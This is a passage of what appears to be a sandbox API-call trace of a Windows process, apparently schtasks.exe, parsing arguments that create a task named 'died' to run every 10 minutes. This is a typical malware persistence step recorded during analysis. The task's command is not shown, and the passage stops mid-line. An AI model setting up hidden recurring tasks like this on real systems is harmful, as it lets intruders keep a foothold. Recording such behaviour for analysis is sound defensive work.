[0076.435] lstrlenW (lpString="|m|") returned 3 [0076.435] lstrlenW (lpString="|tn|") returned 4 [0076.435] SetLastError (dwErrCode=0x490) [0076.435] lstrlenW (lpString="i") returned 1 [0076.435] lstrlenW (lpString="i") returned 1 [0076.435] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.435] lstrlenW (lpString="tn") returned 2 [0076.435] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.435] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|i|") returned 3 [0076.435] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.435] lstrlenW (lpString="|i|") returned 3 [0076.435] lstrlenW (lpString="|tn|") returned 4 [0076.435] SetLastError (dwErrCode=0x490) [0076.435] lstrlenW (lpString="tn") returned 2 [0076.435] lstrlenW (lpString="tn") returned 2 [0076.435] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.435] lstrlenW (lpString="tn") returned 2 [0076.435] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.435] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.435] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tn|") returned 4 [0076.435] lstrlenW (lpString="|tn|") returned 4 [0076.435] lstrlenW (lpString="|tn|") returned 4 [0076.435] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0076.435] SetLastError (dwErrCode=0x0) [0076.435] SetLastError (dwErrCode=0x0) [0076.436] lstrlenW (lpString="died") returned 4 [0076.436] lstrlenW (lpString="-/") returned 2 [0076.436] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0076.436] SetLastError (dwErrCode=0x490) [0076.436] SetLastError (dwErrCode=0x490) [0076.436] SetLastError (dwErrCode=0x0) [0076.436] lstrlenW (lpString="died") returned 4 [0076.436] StrChrIW (lpStart="died", wMatch=0x3a) returned 0x0 [0076.436] SetLastError (dwErrCode=0x490) [0076.436] SetLastError (dwErrCode=0x0) [0076.436] lstrlenW (lpString="died") returned 4 [0076.436] SetLastError (dwErrCode=0x0) [0076.436] SetLastError (dwErrCode=0x0) [0076.436] lstrlenW (lpString="/sc") returned 3 [0076.436] lstrlenW (lpString="-/") returned 2 [0076.436] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.436] lstrlenW (lpString="create") returned 6 [0076.436] lstrlenW (lpString="create") returned 6 [0076.436] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.436] lstrlenW (lpString="sc") returned 2 [0076.436] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.436] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|create|") returned 8 [0076.436] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.436] lstrlenW (lpString="|create|") returned 8 [0076.436] lstrlenW (lpString="|sc|") returned 4 [0076.437] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0076.437] SetLastError (dwErrCode=0x490) [0076.437] lstrlenW (lpString="?") returned 1 [0076.437] lstrlenW (lpString="?") returned 1 [0076.437] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.437] lstrlenW (lpString="sc") returned 2 [0076.437] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.437] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|?|") returned 3 [0076.437] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.437] lstrlenW (lpString="|?|") returned 3 [0076.437] lstrlenW (lpString="|sc|") returned 4 [0076.437] SetLastError (dwErrCode=0x490) [0076.437] lstrlenW (lpString="s") returned 1 [0076.437] lstrlenW (lpString="s") returned 1 [0076.437] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.437] lstrlenW (lpString="sc") returned 2 [0076.437] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.437] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|s|") returned 3 [0076.437] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.437] lstrlenW (lpString="|s|") returned 3 [0076.437] lstrlenW (lpString="|sc|") returned 4 [0076.437] SetLastError (dwErrCode=0x490) [0076.438] lstrlenW (lpString="u") returned 1 [0076.438] lstrlenW (lpString="u") returned 1 [0076.438] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.438] lstrlenW (lpString="sc") returned 2 [0076.438] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.438] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|u|") returned 3 [0076.438] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.438] lstrlenW (lpString="|u|") returned 3 [0076.438] lstrlenW (lpString="|sc|") returned 4 [0076.438] SetLastError (dwErrCode=0x490) [0076.438] lstrlenW (lpString="p") returned 1 [0076.438] lstrlenW (lpString="p") returned 1 [0076.438] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.438] lstrlenW (lpString="sc") returned 2 [0076.438] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.438] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|p|") returned 3 [0076.438] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.438] lstrlenW (lpString="|p|") returned 3 [0076.438] lstrlenW (lpString="|sc|") returned 4 [0076.438] SetLastError (dwErrCode=0x490) [0076.438] lstrlenW (lpString="ru") returned 2 [0076.438] lstrlenW (lpString="ru") returned 2 [0076.438] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.439] lstrlenW (lpString="sc") returned 2 [0076.439] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.439] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|ru|") returned 4 [0076.439] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.439] lstrlenW (lpString="|ru|") returned 4 [0076.439] lstrlenW (lpString="|sc|") returned 4 [0076.439] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0076.439] SetLastError (dwErrCode=0x490) [0076.439] lstrlenW (lpString="rp") returned 2 [0076.439] lstrlenW (lpString="rp") returned 2 [0076.439] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.439] lstrlenW (lpString="sc") returned 2 [0076.439] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.439] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|rp|") returned 4 [0076.439] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.439] lstrlenW (lpString="|rp|") returned 4 [0076.439] lstrlenW (lpString="|sc|") returned 4 [0076.439] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0076.439] SetLastError (dwErrCode=0x490) [0076.439] lstrlenW (lpString="sc") returned 2 [0076.439] lstrlenW (lpString="sc") returned 2 [0076.439] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.440] lstrlenW (lpString="sc") returned 2 [0076.440] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.440] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.440] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.440] lstrlenW (lpString="|sc|") returned 4 [0076.440] lstrlenW (lpString="|sc|") returned 4 [0076.440] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0076.440] SetLastError (dwErrCode=0x0) [0076.440] SetLastError (dwErrCode=0x0) [0076.440] lstrlenW (lpString="MINUTE") returned 6 [0076.440] lstrlenW (lpString="-/") returned 2 [0076.440] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0076.440] SetLastError (dwErrCode=0x490) [0076.440] SetLastError (dwErrCode=0x490) [0076.440] SetLastError (dwErrCode=0x0) [0076.440] lstrlenW (lpString="MINUTE") returned 6 [0076.440] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0076.440] SetLastError (dwErrCode=0x490) [0076.440] SetLastError (dwErrCode=0x0) [0076.440] GetProcessHeap () returned 0x390000 [0076.440] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ad6a0 [0076.440] _memicmp (_Buf1=0x3ad6a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.440] lstrlenW (lpString="MINUTE") returned 6 [0076.440] GetProcessHeap () returned 0x390000 [0076.440] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad6c0 [0076.440] lstrlenW (lpString="MINUTE") returned 6 [0076.440] lstrlenW (lpString=" \x09") returned 2 [0076.441] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0076.441] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0076.441] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0076.441] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0076.441] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0076.441] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0076.441] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0076.441] GetLastError () returned 0x0 [0076.441] lstrlenW (lpString="MINUTE") returned 6 [0076.441] lstrlenW (lpString="MINUTE") returned 6 [0076.441] SetLastError (dwErrCode=0x0) [0076.441] SetLastError (dwErrCode=0x0) [0076.441] lstrlenW (lpString="/mo") returned 3 [0076.441] lstrlenW (lpString="-/") returned 2 [0076.441] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.441] lstrlenW (lpString="create") returned 6 [0076.441] lstrlenW (lpString="create") returned 6 [0076.441] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.441] lstrlenW (lpString="mo") returned 2 [0076.441] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.441] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|create|") returned 8 [0076.441] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.441] lstrlenW (lpString="|create|") returned 8 [0076.441] lstrlenW (lpString="|mo|") returned 4 [0076.441] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0076.441] SetLastError (dwErrCode=0x490) [0076.442] lstrlenW (lpString="?") returned 1 [0076.442] lstrlenW (lpString="?") returned 1 [0076.442] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.442] lstrlenW (lpString="mo") returned 2 [0076.442] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.442] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|?|") returned 3 [0076.442] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.442] lstrlenW (lpString="|?|") returned 3 [0076.442] lstrlenW (lpString="|mo|") returned 4 [0076.442] SetLastError (dwErrCode=0x490) [0076.442] lstrlenW (lpString="s") returned 1 [0076.442] lstrlenW (lpString="s") returned 1 [0076.442] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.442] lstrlenW (lpString="mo") returned 2 [0076.442] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.442] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|s|") returned 3 [0076.442] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.442] lstrlenW (lpString="|s|") returned 3 [0076.442] lstrlenW (lpString="|mo|") returned 4 [0076.442] SetLastError (dwErrCode=0x490) [0076.442] lstrlenW (lpString="u") returned 1 [0076.442] lstrlenW (lpString="u") returned 1 [0076.442] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.442] lstrlenW (lpString="mo") returned 2 [0076.442] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.443] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|u|") returned 3 [0076.443] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.443] lstrlenW (lpString="|u|") returned 3 [0076.443] lstrlenW (lpString="|mo|") returned 4 [0076.443] SetLastError (dwErrCode=0x490) [0076.443] lstrlenW (lpString="p") returned 1 [0076.443] lstrlenW (lpString="p") returned 1 [0076.443] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.443] lstrlenW (lpString="mo") returned 2 [0076.443] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.443] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|p|") returned 3 [0076.443] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.443] lstrlenW (lpString="|p|") returned 3 [0076.443] lstrlenW (lpString="|mo|") returned 4 [0076.443] SetLastError (dwErrCode=0x490) [0076.443] lstrlenW (lpString="ru") returned 2 [0076.443] lstrlenW (lpString="ru") returned 2 [0076.443] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.443] lstrlenW (lpString="mo") returned 2 [0076.443] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.443] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|ru|") returned 4 [0076.443] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.443] lstrlenW (lpString="|ru|") returned 4 [0076.443] lstrlenW (lpString="|mo|") returned 4 [0076.444] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0076.444] SetLastError (dwErrCode=0x490) [0076.444] lstrlenW (lpString="rp") returned 2 [0076.444] lstrlenW (lpString="rp") returned 2 [0076.444] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.444] lstrlenW (lpString="mo") returned 2 [0076.444] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.444] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|rp|") returned 4 [0076.444] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.444] lstrlenW (lpString="|rp|") returned 4 [0076.444] lstrlenW (lpString="|mo|") returned 4 [0076.444] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0076.444] SetLastError (dwErrCode=0x490) [0076.444] lstrlenW (lpString="sc") returned 2 [0076.444] lstrlenW (lpString="sc") returned 2 [0076.444] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.444] lstrlenW (lpString="mo") returned 2 [0076.444] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.444] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.444] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.444] lstrlenW (lpString="|sc|") returned 4 [0076.444] lstrlenW (lpString="|mo|") returned 4 [0076.444] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0076.444] SetLastError (dwErrCode=0x490) [0076.444] lstrlenW (lpString="mo") returned 2 [0076.445] lstrlenW (lpString="mo") returned 2 [0076.445] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.445] lstrlenW (lpString="mo") returned 2 [0076.445] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.445] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.445] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.445] lstrlenW (lpString="|mo|") returned 4 [0076.445] lstrlenW (lpString="|mo|") returned 4 [0076.445] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0076.445] SetLastError (dwErrCode=0x0) [0076.445] SetLastError (dwErrCode=0x0) [0076.445] lstrlenW (lpString="10") returned 2 [0076.445] lstrlenW (lpString="-/") returned 2 [0076.445] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0076.445] SetLastError (dwErrCode=0x490) [0076.445] SetLastError (dwErrCode=0x490) [0076.445] SetLastError (dwErrCode=0x0) [0076.445] lstrlenW (lpString="10") returned 2 [0076.445] StrChrIW (lpStart="10", wMatch=0x3a) returned 0x0 [0076.445] SetLastError (dwErrCode=0x490) [0076.445] SetLastError (dwErrCode=0x0) [0076.445] _memicmp (_Buf1=0x3ad6a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.445] lstrlenW (lpString="10") returned 2 [0076.445] lstrlenW (lpString="10") returned 2 [0076.445] lstrlenW (lpString=" \x09") returned 2 [0076.445] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0076.445] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0076.445] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0076.446] GetLastError () returned 0x0 [0076.446] lstrlenW (lpString="10") returned 2 [0076.446] lstrlenW (lpString="10") returned 2 [0076.446] GetProcessHeap () returned 0x390000 [0076.446] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x6) returned 0x3ac320 [0076.446] SetLastError (dwErrCode=0x0) [0076.446] SetLastError (dwErrCode=0x0) [0076.446] lstrlenW (lpString="/tr") returned 3 [0076.446] lstrlenW (lpString="-/") returned 2 [0076.446] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0076.446] lstrlenW (lpString="create") returned 6 [0076.446] lstrlenW (lpString="create") returned 6 [0076.446] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.446] lstrlenW (lpString="tr") returned 2 [0076.446] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.446] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|create|") returned 8 [0076.446] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.446] lstrlenW (lpString="|create|") returned 8 [0076.446] lstrlenW (lpString="|tr|") returned 4 [0076.446] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0076.446] SetLastError (dwErrCode=0x490) [0076.446] lstrlenW (lpString="?") returned 1 [0076.446] lstrlenW (lpString="?") returned 1 [0076.446] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.446] lstrlenW (lpString="tr") returned 2 [0076.447] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.447] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|?|") returned 3 [0076.447] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.447] lstrlenW (lpString="|?|") returned 3 [0076.447] lstrlenW (lpString="|tr|") returned 4 [0076.447] SetLastError (dwErrCode=0x490) [0076.447] lstrlenW (lpString="s") returned 1 [0076.447] lstrlenW (lpString="s") returned 1 [0076.447] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.447] lstrlenW (lpString="tr") returned 2 [0076.447] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.447] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|s|") returned 3 [0076.447] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.447] lstrlenW (lpString="|s|") returned 3 [0076.447] lstrlenW (lpString="|tr|") returned 4 [0076.447] SetLastError (dwErrCode=0x490) [0076.447] lstrlenW (lpString="u") returned 1 [0076.447] lstrlenW (lpString="u") returned 1 [0076.447] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.447] lstrlenW (lpString="tr") returned 2 [0076.447] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.447] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|u|") returned 3 [0076.447] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.448] lstrlenW (lpString="|u|") returned 3 [0076.448] lstrlenW (lpString="|tr|") returned 4 [0076.448] SetLastError (dwErrCode=0x490) [0076.448] lstrlenW (lpString="p") returned 1 [0076.450] lstrlenW (lpString="p") returned 1 [0076.450] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.450] lstrlenW (lpString="tr") returned 2 [0076.450] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.450] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|p|") returned 3 [0076.451] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.451] lstrlenW (lpString="|p|") returned 3 [0076.451] lstrlenW (lpString="|tr|") returned 4 [0076.451] SetLastError (dwErrCode=0x490) [0076.451] lstrlenW (lpString="ru") returned 2 [0076.451] lstrlenW (lpString="ru") returned 2 [0076.451] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.451] lstrlenW (lpString="tr") returned 2 [0076.451] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.451] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|ru|") returned 4 [0076.451] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.451] lstrlenW (lpString="|ru|") returned 4 [0076.451] lstrlenW (lpString="|tr|") returned 4 [0076.451] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0076.451] SetLastError (dwErrCode=0x490) [0076.451] lstrlenW (lpString="rp") returned 2 [0076.451] lstrlenW (lpString="rp") returned 2 [0076.451] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.451] lstrlenW (lpString="tr") returned 2 [0076.451] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.451] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|rp|") returned 4 [0076.451] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.451] lstrlenW (lpString="|rp|") returned 4 [0076.451] lstrlenW (lpString="|tr|") returned 4 [0076.452] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0076.452] SetLastError (dwErrCode=0x490) [0076.452] lstrlenW (lpString="sc") returned 2 [0076.452] lstrlenW (lpString="sc") returned 2 [0076.452] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.452] lstrlenW (lpString="tr") returned 2 [0076.452] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.452] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|sc|") returned 4 [0076.452] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.452] lstrlenW (lpString="|sc|") returned 4 [0076.452] lstrlenW (lpString="|tr|") returned 4 [0076.452] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0076.452] SetLastError (dwErrCode=0x490) [0076.452] lstrlenW (lpString="mo") returned 2 [0076.452] lstrlenW (lpString="mo") returned 2 [0076.452] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.452] lstrlenW (lpString="tr") returned 2 [0076.452] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.452] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|mo|") returned 4 [0076.452] _vsnwprintf (in: _Buffer=0x3ac360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|tr|") returned 4 [0076.452] lstrlenW (lpString="|mo|") returned 4 [0076.452] lstrlenW (lpString="|tr|") returned 4 [0076.452] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0076.452] SetLastError (dwErrCode=0x490) [0076.452] lstrlenW (lpString="d") returned 1 [0076.453] lstrlenW (lpString="d") returned 1 [0076.453] _memicmp (_Buf1=0x3ac200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.453] lstrlenW (lpString="tr") returned 2 [0076.453] _memicmp (_Buf1=0x3ac340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0076.453] _vsnwprintf (in: _Buffer=0x3ac380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c708 | out: _Buffer="|d|") returned 3 [0076.453] _vsnwprintf (in: 